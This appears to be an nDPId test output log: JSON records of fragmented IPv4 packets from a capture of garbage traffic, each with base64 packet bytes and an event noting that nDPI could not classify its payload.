+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385816,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385825,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385833,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385883,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385893,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385903,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385918,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385932,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385941,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385954,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385965,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385976,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385988,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386034,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386045,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386080,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386091,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386102,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386114,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386126,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386140,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386151,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386222,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386234,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386255,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386266,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 